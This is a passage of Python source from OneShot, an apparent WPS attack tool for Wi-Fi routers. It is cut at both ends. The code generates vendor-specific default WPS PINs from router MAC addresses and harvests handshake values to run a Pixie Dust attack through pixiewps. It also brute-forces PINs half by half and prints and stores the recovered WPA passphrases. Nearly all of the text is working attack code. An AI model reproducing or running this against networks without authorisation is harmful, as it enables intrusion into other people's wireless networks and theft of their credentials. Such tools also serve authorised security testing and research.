'pinOnlime': {'name': 'Onlime', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9995604}, 122 | 'pinEdimax': {'name': 'Edimax', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3561153}, 123 | 'pinThomson': {'name': 'Thomson', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6795814}, 124 | 'pinHG532x': {'name': 'HG532x', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3425928}, 125 | 'pinH108L': {'name': 'H108L', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9422988}, 126 | 'pinONO': {'name': 'CBN ONO', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9575521}} 127 | 128 | @staticmethod 129 | def checksum(pin): 130 | """ 131 | Standard WPS checksum algorithm. 132 | @pin — A 7 digit pin to calculate the checksum for. 133 | Returns the checksum value. 134 | """ 135 | accum = 0 136 | while pin: 137 | accum += (3 * (pin % 10)) 138 | pin = int(pin / 10) 139 | accum += (pin % 10) 140 | pin = int(pin / 10) 141 | return (10 - accum % 10) % 10 142 | 143 | def generate(self, algo, mac): 144 | """ 145 | WPS pin generator 146 | @algo — the WPS pin algorithm ID 147 | Returns the WPS pin string value 148 | """ 149 | mac = NetworkAddress(mac) 150 | if algo not in self.algos: 151 | raise ValueError('Invalid WPS pin algorithm') 152 | pin = self.algos[algo]['gen'](mac) 153 | if algo == 'pinEmpty': 154 | return pin 155 | pin = pin % 10000000 156 | pin = str(pin) + str(self.checksum(pin)) 157 | return pin.zfill(8) 158 | 159 | def getAll(self, mac, get_static=True): 160 | """ 161 | Get all WPS pin's for single MAC 162 | """ 163 | res = [] 164 | for ID, algo in self.algos.items(): 165 | if algo['mode'] == self.ALGO_STATIC and not get_static: 166 | continue 167 | item = {} 168 | item['id'] = ID 169 | if algo['mode'] == self.ALGO_STATIC: 170 | item['name'] = 'Static PIN — ' + algo['name'] 171 | else: 172 | item['name'] = algo['name'] 173 | item['pin'] = self.generate(ID, mac) 174 | res.append(item) 175 | return res 176 | 177 | def getList(self, mac, get_static=True): 178 | """ 179 | Get all WPS pin's for single MAC as list 180 | """ 181 | res = [] 182 | for ID, algo in self.algos.items(): 183 | if algo['mode'] == self.ALGO_STATIC and not get_static: 184 | continue 185 | res.append(self.generate(ID, mac)) 186 | return res 187 | 188 | def getSuggested(self, mac): 189 | """ 190 | Get all suggested WPS pin's for single MAC 191 | """ 192 | algos = self._suggest(mac) 193 | res = [] 194 | for ID in algos: 195 | algo = self.algos[ID] 196 | item = {} 197 | item['id'] = ID 198 | if algo['mode'] == self.ALGO_STATIC: 199 | item['name'] = 'Static PIN — ' + algo['name'] 200 | else: 201 | item['name'] = algo['name'] 202 | item['pin'] = self.generate(ID, mac) 203 | res.append(item) 204 | return res 205 | 206 | def getSuggestedList(self, mac): 207 | """ 208 | Get all suggested WPS pin's for single MAC as list 209 | """ 210 | algos = self._suggest(mac) 211 | res = [] 212 | for algo in algos: 213 | res.append(self.generate(algo, mac)) 214 | return res 215 | 216 | def getLikely(self, mac): 217 | res = self.getSuggestedList(mac) 218 | if res: 219 | return res[0] 220 | else: 221 | return None 222 | 223 | def _suggest(self, mac): 224 | """ 225 | Get algos suggestions for single MAC 226 | Returns the algo ID 227 | """ 228 | mac = mac.replace(':', '').upper() 229 | algorithms = { 230 | 'pin24': ('04BF6D', '0E5D4E', '107BEF', '14A9E3', '28285D', '2A285D', '32B2DC', '381766', '404A03', '4E5D4E', '5067F0', '5CF4AB', '6A285D', '8E5D4E', 'AA285D', 'B0B2DC', 'C86C87', 'CC5D4E', 'CE5D4E', 'EA285D', 'E243F6', 'EC43F6', 'EE43F6', 'F2B2DC', 'FCF528', 'FEF528', '4C9EFF', '0014D1', 'D8EB97', '1C7EE5', '84C9B2', 'FC7516', '14D64D', '9094E4', 'BCF685', 'C4A81D', '00664B', '087A4C', '14B968', '2008ED', '346BD3', '4CEDDE', '786A89', '88E3AB', 'D46E5C', 'E8CD2D', 'EC233D', 'ECCB30', 'F49FF3', '20CF30', '90E6BA', 'E0CB4E', 'D4BF7F4', 'F8C091', '001CDF', '002275', '08863B', '00B00C', '081075', 'C83A35', '0022F7', '001F1F', '00265B', '68B6CF', '788DF7', 'BC1401', '202BC1', '308730', '5C4CA9', '62233D', '623CE4', '623DFF', '6253D4', '62559C', '626BD3', '627D5E', '6296BF', '62A8E4', '62B686', '62C06F', '62C61F', '62C714', '62CBA8', '62CDBE', '62E87B', '6416F0', '6A1D67', '6A233D', '6A3DFF', '6A53D4', '6A559C', '6A6BD3', '6A96BF', '6A7D5E', '6AA8E4', '6AC06F', '6AC61F', '6AC714', '6ACBA8', '6ACDBE', '6AD15E', '6AD167', '721D67', '72233D', '723CE4', '723DFF', '7253D4', '72559C', '726BD3', '727D5E', '7296BF', '72A8E4', '72C06F', '72C61F', '72C714', '72CBA8', '72CDBE', '72D15E', '72E87B', '0026CE', '9897D1', 'E04136', 'B246FC', 'E24136', '00E020', '5CA39D', 'D86CE9', 'DC7144', '801F02', 'E47CF9', '000CF6', '00A026', 'A0F3C1', '647002', 'B0487A', 'F81A67', 'F8D111', '34BA9A', 'B4944E'), 231 | 'pin28': ('200BC7', '4846FB', 'D46AA8', 'F84ABF'), 232 | 'pin32': ('000726', 'D8FEE3', 'FC8B97', '1062EB', '1C5F2B', '48EE0C', '802689', '908D78', 'E8CC18', '2CAB25', '10BF48', '14DAE9', '3085A9', '50465D', '5404A6', 'C86000', 'F46D04', '3085A9', '801F02'), 233 | 'pinDLink': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'A0AB1B', 'B8A386', 'C0A0BB', 'CCB255', 'FC7516', '0014D1', 'D8EB97'), 234 | 'pinDLink1': ('0018E7', '00195B', '001CF0', '001E58', '002191', '0022B0', '002401', '00265A', '14D64D', '1C7EE5', '340804', '5CD998', '84C9B2', 'B8A386', 'C8BE19', 'C8D3A3', 'CCB255', '0014D1'), 235 | 'pinASUS': ('049226', '04D9F5', '08606E', '0862669', '107B44', '10BF48', '10C37B', '14DDA9', '1C872C', '1CB72C', '2C56DC', '2CFDA1', '305A3A', '382C4A', '38D547', '40167E', '50465D', '54A050', '6045CB', '60A44C', '704D7B', '74D02B', '7824AF', '88D7F6', '9C5C8E', 'AC220B', 'AC9E17', 'B06EBF', 'BCEE7B', 'C860007', 'D017C2', 'D850E6', 'E03F49', 'F0795978', 'F832E4', '00072624', '0008A1D3', '00177C', '001EA6', '00304FB', '00E04C0', '048D38', '081077', '081078', '081079', '083E5D', '10FEED3C', '181E78', '1C4419', '2420C7', '247F20', '2CAB25', '3085A98C', '3C1E04', '40F201', '44E9DD', '48EE0C', '5464D9', '54B80A', '587BE906', '60D1AA21', '64517E', '64D954', '6C198F', '6C7220', '6CFDB9', '78D99FD', '7C2664', '803F5DF6', '84A423', '88A6C6', '8C10D4', '8C882B00', '904D4A', '907282', '90F65290', '94FBB2', 'A01B29', 'A0F3C1E', 'A8F7E00', 'ACA213', 'B85510', 'B8EE0E', 'BC3400', 'BC9680', 'C891F9', 'D00ED90', 'D084B0', 'D8FEE3', 'E4BEED', 'E894F6F6', 'EC1A5971', 'EC4C4D', 'F42853', 'F43E61', 'F46BEF', 'F8AB05', 'FC8B97', '7062B8', '78542E', 'C0A0BB8C', 'C412F5', 'C4A81D', 'E8CC18', 'EC2280', 'F8E903F4'), 236 | 'pinAirocon': ('0007262F', '000B2B4A', '000EF4E7', '001333B', '00177C', '001AEF', '00E04BB3', '02101801', '0810734', '08107710', '1013EE0', '2CAB25C7', '788C54', '803F5DF6', '94FBB2', 'BC9680', 'F43E61', 'FC8B97'), 237 | 'pinEmpty': ('E46F13', 'EC2280', '58D56E', '1062EB', '10BEF5', '1C5F2B', '802689', 'A0AB1B', '74DADA', '9CD643', '68A0F6', '0C96BF', '20F3A3', 'ACE215', 'C8D15E', '000E8F', 'D42122', '3C9872', '788102', '7894B4', 'D460E3', 'E06066', '004A77', '2C957F', '64136C', '74A78E', '88D274', '702E22', '74B57E', '789682', '7C3953', '8C68C8', 'D476EA', '344DEA', '38D82F', '54BE53', '709F2D', '94A7B7', '981333', 'CAA366', 'D0608C'), 238 | 'pinCisco': ('001A2B', '00248C', '002618', '344DEB', '7071BC', 'E06995', 'E0CB4E', '7054F5'), 239 | 'pinBrcm1': ('ACF1DF', 'BCF685', 'C8D3A3', '988B5D', '001AA9', '14144B', 'EC6264'), 240 | 'pinBrcm2': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19'), 241 | 'pinBrcm3': ('14D64D', '1C7EE5', '28107B', 'B8A386', 'BCF685', 'C8BE19', '7C034C'), 242 | 'pinBrcm4': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 243 | 'pinBrcm5': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 244 | 'pinBrcm6': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 245 | 'pinAirc1': ('181E78', '40F201', '44E9DD', 'D084B0'), 246 | 'pinAirc2': ('84A423', '8C10D4', '88A6C6'), 247 | 'pinDSL2740R': ('00265A', '1CBDB9', '340804', '5CD998', '84C9B2', 'FC7516'), 248 | 'pinRealtek1': ('0014D1', '000C42', '000EE8'), 249 | 'pinRealtek2': ('007263', 'E4BEED'), 250 | 'pinRealtek3': ('08C6B3',), 251 | 'pinUpvel': ('784476', 'D4BF7F0', 'F8C091'), 252 | 'pinUR814AC': ('D4BF7F60',), 253 | 'pinUR825AC': ('D4BF7F5',), 254 | 'pinOnlime': ('D4BF7F', 'F8C091', '144D67', '784476', '0014D1'), 255 | 'pinEdimax': ('801F02', '00E04C'), 256 | 'pinThomson': ('002624', '4432C8', '88F7C7', 'CC03FA'), 257 | 'pinHG532x': ('00664B', '086361', '087A4C', '0C96BF', '14B968', '2008ED', '2469A5', '346BD3', '786A89', '88E3AB', '9CC172', 'ACE215', 'D07AB5', 'CCA223', 'E8CD2D', 'F80113', 'F83DFF'), 258 | 'pinH108L': ('4C09B4', '4CAC0A', '84742A4', '9CD24B', 'B075D5', 'C864C7', 'DC028E', 'FCC897'), 259 | 'pinONO': ('5C353B', 'DC537C') 260 | } 261 | res = [] 262 | for algo_id, masks in algorithms.items(): 263 | if mac.startswith(masks): 264 | res.append(algo_id) 265 | return res 266 | 267 | def pin24(self, mac): 268 | return mac.integer & 0xFFFFFF 269 | 270 | def pin28(self, mac): 271 | return mac.integer & 0xFFFFFFF 272 | 273 | def pin32(self, mac): 274 | return mac.integer % 0x100000000 275 | 276 | def pinDLink(self, mac): 277 | # Get the NIC part 278 | nic = mac.integer & 0xFFFFFF 279 | # Calculating pin 280 | pin = nic ^ 0x55AA55 281 | pin ^= (((pin & 0xF) << 4) + 282 | ((pin & 0xF) << 8) + 283 | ((pin & 0xF) << 12) + 284 | ((pin & 0xF) << 16) + 285 | ((pin & 0xF) << 20)) 286 | pin %= int(10e6) 287 | if pin < int(10e5): 288 | pin += ((pin % 9) * int(10e5)) + int(10e5) 289 | return pin 290 | 291 | def pinDLink1(self, mac): 292 | mac.integer += 1 293 | return self.pinDLink(mac) 294 | 295 | def pinASUS(self, mac): 296 | b = [int(i, 16) for i in mac.string.split(':')] 297 | pin = '' 298 | for i in range(7): 299 | pin += str((b[i % 6] + b[5]) % (10 - (i + b[1] + b[2] + b[3] + b[4] + b[5]) % 7)) 300 | return int(pin) 301 | 302 | def pinAirocon(self, mac): 303 | b = [int(i, 16) for i in mac.string.split(':')] 304 | pin = ((b[0] + b[1]) % 10)\ 305 | + (((b[5] + b[0]) % 10) * 10)\ 306 | + (((b[4] + b[5]) % 10) * 100)\ 307 | + (((b[3] + b[4]) % 10) * 1000)\ 308 | + (((b[2] + b[3]) % 10) * 10000)\ 309 | + (((b[1] + b[2]) % 10) * 100000)\ 310 | + (((b[0] + b[1]) % 10) * 1000000) 311 | return pin 312 | 313 | 314 | def recvuntil(pipe, what): 315 | s = '' 316 | while True: 317 | inp = pipe.stdout.read(1) 318 | if inp == '': 319 | return s 320 | s += inp 321 | if what in s: 322 | return s 323 | 324 | 325 | def get_hex(line): 326 | a = line.split(':', 3) 327 | return a[2].replace(' ', '').upper() 328 | 329 | 330 | class PixiewpsData: 331 | def __init__(self): 332 | self.pke = '' 333 | self.pkr = '' 334 | self.e_hash1 = '' 335 | self.e_hash2 = '' 336 | self.authkey = '' 337 | self.e_nonce = '' 338 | 339 | def clear(self): 340 | self.__init__() 341 | 342 | def got_all(self): 343 | return (self.pke and self.pkr and self.e_nonce and self.authkey 344 | and self.e_hash1 and self.e_hash2) 345 | 346 | def get_pixie_cmd(self, full_range=False): 347 | pixiecmd = "pixiewps --pke {} --pkr {} --e-hash1 {}"\ 348 | " --e-hash2 {} --authkey {} --e-nonce {}".format( 349 | self.pke, self.pkr, self.e_hash1, 350 | self.e_hash2, self.authkey, self.e_nonce) 351 | if full_range: 352 | pixiecmd += ' --force' 353 | return pixiecmd 354 | 355 | 356 | class ConnectionStatus: 357 | def __init__(self): 358 | self.status = '' # Must be WSC_NACK, WPS_FAIL or GOT_PSK 359 | self.last_m_message = 0 360 | self.essid = '' 361 | self.wpa_psk = '' 362 | 363 | def isFirstHalfValid(self): 364 | return self.last_m_message > 5 365 | 366 | def clear(self): 367 | self.__init__() 368 | 369 | 370 | class BruteforceStatus: 371 | def __init__(self): 372 | self.start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 373 | self.mask = '' 374 | self.last_attempt_time = time.time() # Last PIN attempt start time 375 | self.attempts_times = collections.deque(maxlen=15) 376 | 377 | self.counter = 0 378 | self.statistics_period = 5 379 | 380 | def display_status(self): 381 | average_pin_time = statistics.mean(self.attempts_times) 382 | if len(self.mask) == 4: 383 | percentage = int(self.mask) / 11000 * 100 384 | else: 385 | percentage = ((10000 / 11000) + (int(self.mask[4:]) / 11000)) * 100 386 | print('[*] {:.2f}% complete @ {} ({:.2f} seconds/pin)'.format( 387 | percentage, self.start_time, average_pin_time)) 388 | 389 | def registerAttempt(self, mask): 390 | self.mask = mask 391 | self.counter += 1 392 | current_time = time.time() 393 | self.attempts_times.append(current_time - self.last_attempt_time) 394 | self.last_attempt_time = current_time 395 | if self.counter == self.statistics_period: 396 | self.counter = 0 397 | self.display_status() 398 | 399 | def clear(self): 400 | self.__init__() 401 | 402 | 403 | class Companion: 404 | """Main application part""" 405 | def __init__(self, interface, save_result=False, print_debug=False): 406 | self.interface = interface 407 | self.save_result = save_result 408 | self.print_debug = print_debug 409 | 410 | self.tempdir = tempfile.mkdtemp() 411 | with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as temp: 412 | temp.write('ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n'.format(self.tempdir)) 413 | self.tempconf = temp.name 414 | self.wpas_ctrl_path = f"{self.tempdir}/{interface}" 415 | self.__init_wpa_supplicant() 416 | 417 | self.res_socket_file = f"{tempfile._get_default_tempdir()}/{next(tempfile._get_candidate_names())}" 418 | self.retsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) 419 | self.retsock.bind(self.res_socket_file) 420 | 421 | self.pixie_creds = PixiewpsData() 422 | self.connection_status = ConnectionStatus() 423 | 424 | user_home = str(pathlib.Path.home()) 425 | self.sessions_dir = f'{user_home}/.OneShot/sessions/' 426 | self.pixiewps_dir = f'{user_home}/.OneShot/pixiewps/' 427 | self.reports_dir = os.path.dirname(os.path.realpath(__file__)) + '/reports/' 428 | if not os.path.exists(self.sessions_dir): 429 | os.makedirs(self.sessions_dir) 430 | if not os.path.exists(self.pixiewps_dir): 431 | os.makedirs(self.pixiewps_dir) 432 | 433 | self.generator = WPSpin() 434 | 435 | def __init_wpa_supplicant(self): 436 | print('[*] Running wpa_supplicant…') 437 | cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}'.format(self.interface, self.tempconf) 438 | self.wpas = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, 439 | stderr=subprocess.STDOUT, encoding='utf-8', errors='replace') 440 | # Waiting for wpa_supplicant control interface initialization 441 | while True: 442 | ret = self.wpas.poll() 443 | if ret is not None and ret != 0: 444 | raise ValueError('wpa_supplicant returned an error: ' + self.wpas.communicate()[0]) 445 | if os.path.exists(self.wpas_ctrl_path): 446 | break 447 | time.sleep(.1) 448 | 449 | def sendOnly(self, command): 450 | """Sends command to wpa_supplicant""" 451 | self.retsock.sendto(command.encode(), self.wpas_ctrl_path) 452 | 453 | def sendAndReceive(self, command): 454 | """Sends command to wpa_supplicant and returns the reply""" 455 | self.retsock.sendto(command.encode(), self.wpas_ctrl_path) 456 | (b, address) = self.retsock.recvfrom(4096) 457 | inmsg = b.decode('utf-8', errors='replace') 458 | return inmsg 459 | 460 | @staticmethod 461 | def _explain_wpas_not_ok_status(command: str, respond: str): 462 | if command.startswith(('WPS_REG', 'WPS_PBC')): 463 | if respond == 'UNKNOWN COMMAND': 464 | return ('[!] It looks like your wpa_supplicant is compiled without WPS protocol support. ' 465 | 'Please build wpa_supplicant with WPS support ("CONFIG_WPS=y")') 466 | return '[!] Something went wrong — check out debug log' 467 | 468 | def __handle_wpas(self, pixiemode=False, pbc_mode=False, verbose=None): 469 | if not verbose: 470 | verbose = self.print_debug 471 | line = self.wpas.stdout.readline() 472 | if not line: 473 | self.wpas.wait() 474 | return False 475 | line = line.rstrip('\n') 476 | 477 | if verbose: 478 | sys.stderr.write(line + '\n') 479 | 480 | if line.startswith('WPS: '): 481 | if 'Building Message M' in line: 482 | n = int(line.split('Building Message M')[1].replace('D', '')) 483 | self.connection_status.last_m_message = n 484 | print('[*] Sending WPS Message M{}…'.format(n)) 485 | elif 'Received M' in line: 486 | n = int(line.split('Received M')[1]) 487 | self.connection_status.last_m_message = n 488 | print('[*] Received WPS Message M{}'.format(n)) 489 | if n == 5: 490 | print('[+] The first half of the PIN is valid') 491 | elif 'Enrollee Nonce' in line and 'hexdump' in line: 492 | self.pixie_creds.e_nonce = get_hex(line) 493 | assert(len(self.pixie_creds.e_nonce) == 16*2) 494 | if pixiemode: 495 | print('[P] E-Nonce: {}'.format(self.pixie_creds.e_nonce)) 496 | elif 'DH own Public Key' in line and 'hexdump' in line: 497 | self.pixie_creds.pkr = get_hex(line) 498 | assert(len(self.pixie_creds.pkr) == 192*2) 499 | if pixiemode: 500 | print('[P] PKR: {}'.format(self.pixie_creds.pkr)) 501 | elif 'DH peer Public Key' in line and 'hexdump' in line: 502 | self.pixie_creds.pke = get_hex(line) 503 | assert(len(self.pixie_creds.pke) == 192*2) 504 | if pixiemode: 505 | print('[P] PKE: {}'.format(self.pixie_creds.pke)) 506 | elif 'AuthKey' in line and 'hexdump' in line: 507 | self.pixie_creds.authkey = get_hex(line) 508 | assert(len(self.pixie_creds.authkey) == 32*2) 509 | if pixiemode: 510 | print('[P] AuthKey: {}'.format(self.pixie_creds.authkey)) 511 | elif 'E-Hash1' in line and 'hexdump' in line: 512 | self.pixie_creds.e_hash1 = get_hex(line) 513 | assert(len(self.pixie_creds.e_hash1) == 32*2) 514 | if pixiemode: 515 | print('[P] E-Hash1: {}'.format(self.pixie_creds.e_hash1)) 516 | elif 'E-Hash2' in line and 'hexdump' in line: 517 | self.pixie_creds.e_hash2 = get_hex(line) 518 | assert(len(self.pixie_creds.e_hash2) == 32*2) 519 | if pixiemode: 520 | print('[P] E-Hash2: {}'.format(self.pixie_creds.e_hash2)) 521 | elif 'Network Key' in line and 'hexdump' in line: 522 | self.connection_status.status = 'GOT_PSK' 523 | self.connection_status.wpa_psk = bytes.fromhex(get_hex(line)).decode('utf-8', errors='replace') 524 | elif ': State: ' in line: 525 | if '-> SCANNING' in line: 526 | self.connection_status.status = 'scanning' 527 | print('[*] Scanning…') 528 | elif ('WPS-FAIL' in line) and (self.connection_status.status != ''): 529 | print(line) 530 | if 'msg=5 config_error=15' in line: 531 | print('[*] Received WPS-FAIL with reason: WPS LOCKED') 532 | self.connection_status.status = 'WPS_FAIL' 533 | elif 'msg=8' in line: 534 | if 'config_error=15' in line: 535 | print('[*] Received WPS-FAIL with reason: WPS LOCKED') 536 | self.connection_status.status = 'WPS_FAIL' 537 | else: 538 | self.connection_status.status = 'WSC_NACK' 539 | print('[-] Error: PIN was wrong') 540 | elif 'config_error=2' in line: 541 | print('[*] Received WPS-FAIL with reason: CRC FAILURE') 542 | self.connection_status.status = 'WPS_FAIL' 543 | else: 544 | self.connection_status.status = 'WPS_FAIL' 545 | # elif 'NL80211_CMD_DEL_STATION' in line: 546 | # print("[!] Unexpected interference — kill NetworkManager/wpa_supplicant!") 547 | elif 'Trying to authenticate with' in line: 548 | self.connection_status.status = 'authenticating' 549 | if 'SSID' in line: 550 | self.connection_status.essid = codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 551 | print('[*] Authenticating…') 552 | elif 'Authentication response' in line: 553 | print('[+] Authenticated') 554 | elif 'Trying to associate with' in line: 555 | self.connection_status.status = 'associating' 556 | if 'SSID' in line: 557 | self.connection_status.essid = codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 558 | print('[*] Associating with AP…') 559 | elif ('Associated with' in line) and (self.interface in line): 560 | bssid = line.split()[-1].upper() 561 | if self.connection_status.essid: 562 | print('[+] Associated with {} (ESSID: {})'.format(bssid, self.connection_status.essid)) 563 | else: 564 | print('[+] Associated with {}'.format(bssid)) 565 | elif 'EAPOL: txStart' in line: 566 | self.connection_status.status = 'eapol_start' 567 | print('[*] Sending EAPOL Start…') 568 | elif 'EAP entering state IDENTITY' in line: 569 | print('[*] Received Identity Request') 570 | elif 'using real identity' in line: 571 | print('[*] Sending Identity Response…') 572 | elif pbc_mode and ('selected BSS ' in line): 573 | bssid = line.split('selected BSS ')[-1].split()[0].upper() 574 | self.connection_status.bssid = bssid 575 | print('[*] Selected AP: {}'.format(bssid)) 576 | 577 | return True 578 | 579 | def __runPixiewps(self, showcmd=False, full_range=False): 580 | print("[*] Running Pixiewps…") 581 | cmd = self.pixie_creds.get_pixie_cmd(full_range) 582 | if showcmd: 583 | print(cmd) 584 | r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, 585 | stderr=sys.stdout, encoding='utf-8', errors='replace') 586 | print(r.stdout) 587 | if r.returncode == 0: 588 | lines = r.stdout.splitlines() 589 | for line in lines: 590 | if ('[+]' in line) and ('WPS pin' in line): 591 | pin = line.split(':')[-1].strip() 592 | if pin == '': 593 | pin = "''" 594 | return pin 595 | return False 596 | 597 | def __credentialPrint(self, wps_pin=None, wpa_psk=None, essid=None): 598 | print(f"[+] WPS PIN: '{wps_pin}'") 599 | print(f"[+] WPA PSK: '{wpa_psk}'") 600 | print(f"[+] AP SSID: '{essid}'") 601 | 602 | def __saveResult(self, bssid, essid, wps_pin, wpa_psk): 603 | if not os.path.exists(self.reports_dir): 604 | os.makedirs(self.reports_dir) 605 | filename = self.reports_dir + 'stored' 606 | dateStr = datetime.now().strftime("%d.%m.%Y %H:%M") 607 | with open(filename + '.txt', 'a', encoding='utf-8') as file: 608 | file.write('{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n\n'.format( 609 | dateStr, bssid, essid, wps_pin, wpa_psk 610 | ) 611 | ) 612 | writeTableHeader = not os.path.isfile(filename + '.csv') 613 | with open(filename + '.csv', 'a', newline='', encoding='utf-8') as file: 614 | csvWriter = csv.writer(file, delimiter=';', quoting=csv.QUOTE_ALL) 615 | if writeTableHeader: 616 | csvWriter.writerow(['Date', 'BSSID', 'ESSID', 'WPS PIN', 'WPA PSK']) 617 | csvWriter.writerow([dateStr, bssid, essid, wps_pin, wpa_psk]) 618 | print(f'[i] Credentials saved to {filename}.txt, {filename}.csv') 619 | 620 | def __savePin(self, bssid, pin): 621 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 622 | with open(filename, 'w') as file: 623 | file.write(pin) 624 | print('[i] PIN saved in {}'.format(filename)) 625 | 626 | def __prompt_wpspin(self, bssid): 627 | pins = self.generator.getSuggested(bssid) 628 | if len(pins) > 1: 629 | print(f'PINs generated for {bssid}:') 630 | print('{:<3} {:<10} {:<}'.format('#', 'PIN', 'Name')) 631 | for i, pin in enumerate(pins): 632 | number = '{})'.format(i + 1) 633 | line = '{:<3} {:<10} {:<}'.format( 634 | number, pin['pin'], pin['name']) 635 | print(line) 636 | while 1: 637 | pinNo = input('Select the PIN: ') 638 | try: 639 | if int(pinNo) in range(1, len(pins)+1): 640 | pin = pins[int(pinNo) - 1]['pin'] 641 | else: 642 | raise IndexError 643 | except Exception: 644 | print('Invalid number') 645 | else: 646 | break 647 | elif len(pins) == 1: 648 | pin = pins[0] 649 | print('[i] The only probable PIN is selected:', pin['name']) 650 | pin = pin['pin'] 651 | else: 652 | return None 653 | return pin 654 | 655 | def __wps_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, verbose=None): 656 | if not verbose: 657 | verbose = self.print_debug 658 | self.pixie_creds.clear() 659 | self.connection_status.clear() 660 | self.wpas.stdout.read(300) # Clean the pipe 661 | if pbc_mode: 662 | if bssid: 663 | print(f"[*] Starting WPS push button connection to {bssid}…") 664 | cmd = f'WPS_PBC {bssid}' 665 | else: 666 | print("[*] Starting WPS push button connection…") 667 | cmd = 'WPS_PBC' 668 | else: 669 | print(f"[*] Trying PIN '{pin}'…") 670 | cmd = f'WPS_REG {bssid} {pin}' 671 | r = self.sendAndReceive(cmd) 672 | if 'OK' not in r: 673 | self.connection_status.status = 'WPS_FAIL' 674 | print(self._explain_wpas_not_ok_status(cmd, r)) 675 | return False 676 | 677 | while True: 678 | res = self.__handle_wpas(pixiemode=pixiemode, pbc_mode=pbc_mode, verbose=verbose) 679 | if not res: 680 | break 681 | if self.connection_status.status == 'WSC_NACK': 682 | break 683 | elif self.connection_status.status == 'GOT_PSK': 684 | break 685 | elif self.connection_status.status == 'WPS_FAIL': 686 | break 687 | 688 | self.sendOnly('WPS_CANCEL') 689 | return False 690 | 691 | def single_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, showpixiecmd=False, 692 | pixieforce=False, store_pin_on_fail=False): 693 | if not pin: 694 | if pixiemode: 695 | try: 696 | # Try using the previously calculated PIN 697 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 698 | with open(filename, 'r') as file: 699 | t_pin = file.readline().strip() 700 | if input('[?] Use previously calculated PIN {}? [n/Y] '.format(t_pin)).lower() != 'n': 701 | pin = t_pin 702 | else: 703 | raise FileNotFoundError 704 | except FileNotFoundError: 705 | pin = self.generator.getLikely(bssid) or '12345670' 706 | elif not pbc_mode: 707 | # If not pixiemode, ask user to select a pin from the list 708 | pin = self.__prompt_wpspin(bssid) or '12345670' 709 | if pbc_mode: 710 | self.__wps_connection(bssid, pbc_mode=pbc_mode) 711 | bssid = self.connection_status.bssid 712 | pin = '' 713 | elif store_pin_on_fail: 714 | try: 715 | self.__wps_connection(bssid, pin, pixiemode) 716 | except KeyboardInterrupt: 717 | print("\nAborting…") 718 | self.__savePin(bssid, pin) 719 | return False 720 | else: 721 | self.__wps_connection(bssid, pin, pixiemode) 722 | 723 | if self.connection_status.status == 'GOT_PSK': 724 | self.__credentialPrint(pin, self.connection_status.wpa_psk, self.connection_status.essid) 725 | if self.save_result: 726 | self.__saveResult(bssid, self.connection_status.essid, pin, self.connection_status.wpa_psk) 727 | if not pbc_mode: 728 | # Try to remove temporary PIN file 729 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 730 | try: 731 | os.remove(filename) 732 | except FileNotFoundError: 733 | pass 734 | return True 735 | elif pixiemode: 736 | if self.pixie_creds.got_all(): 737 | pin = self.__runPixiewps(showpixiecmd, pixieforce) 738 | if pin: 739 | return self.single_connection(bssid, pin, pixiemode=False, store_pin_on_fail=True) 740 | return False 741 | else: 742 | print('[!] Not enough data to run Pixie Dust attack') 743 | return False 744 | else: 745 | if store_pin_on_fail: 746 | # Saving Pixiewps calculated PIN if can't connect 747 | self.__savePin(bssid, pin) 748 | return False 749 | 750 | def __first_half_bruteforce(self, bssid, f_half, delay=None): 751 | """ 752 | @f_half — 4-character string 753 | """ 754 | checksum = self.generator.checksum 755 | while int(f_half) < 10000: 756 | t = int(f_half + '000') 757 | pin = '{}000{}'.format(f_half, checksum(t)) 758 | self.single_connection(bssid, pin) 759 | if self.connection_status.isFirstHalfValid(): 760 | print('[+] First half found') 761 | return f_half 762 | elif self.connection_status.status == 'WPS_FAIL': 763 | print('[!] WPS transaction failed, re-trying last pin') 764 | return self.__first_half_bruteforce(bssid, f_half) 765 | f_half = str(int(f_half) + 1).zfill(4) 766 | self.bruteforce.registerAttempt(f_half) 767 | if delay: 768 | time.sleep(delay) 769 | print('[-] First half not found') 770 | return False 771 | 772 | def __second_half_bruteforce(self, bssid, f_half, s_half, delay=None): 773 | """ 774 | @f_half — 4-character string 775 | @s_half — 3-character string 776 | """ 777 | checksum = self.generator.checksum 778 | while int(s_half) < 1000: 779 | t = int(f_half + s_half) 780 | pin = '{}{}{}'.format(f_half, s_half, checksum(t)) 781 | self.single_connection(bssid, pin) 782 | if self.connection_status.last_m_message > 6: 783 | return pin 784 | elif self.connection_status.status == 